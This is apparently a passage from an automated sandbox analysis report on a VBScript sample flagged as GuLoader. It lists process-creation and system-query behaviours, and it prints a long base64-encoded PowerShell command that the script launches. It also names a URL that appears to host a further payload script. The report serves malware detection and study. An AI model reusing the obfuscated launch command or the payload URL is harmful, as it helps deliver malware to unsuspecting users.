AYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA741.tmp" "c:\Users\user\AppData\Local\Temp\nixooqy0\CSCD80281C713344E65BE3EDC717FEDF542.TMP" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_07711A68 CreateNamedPipeW, 18_2_07711A68
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  • Signature
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  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
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  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 625175 Sample: PO-19903.vbs Startdate: 12/05/2022 Architecture: WINDOWS Score: 84 22 Found malware configuration 2->22 24 Multi AV Scanner detection for submitted file 2->24 26 Yara detected GuLoader 2->26 28 2 other signatures 2->28 8 wscript.exe 2 2->8         started        process3 signatures4 30 Wscript starts Powershell (via cmd or directly) 8->30 32 Very long command line found 8->32 34 Encrypted powershell cmdline option found 8->34 11 powershell.exe 22 8->11         started        process5 process6 13 csc.exe 3 11->13         started        16 conhost.exe 11->16         started        file7 20 C:\Users\user\AppData\Local\...\nixooqy0.dll, PE32 13->20 dropped 18 cvtres.exe 1 13->18         started        process8
⊘No contacted IP infos

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://vegproworld.com/wp-content/Touchb.vbs true
  • Avira URL Cloud: safe
 unknown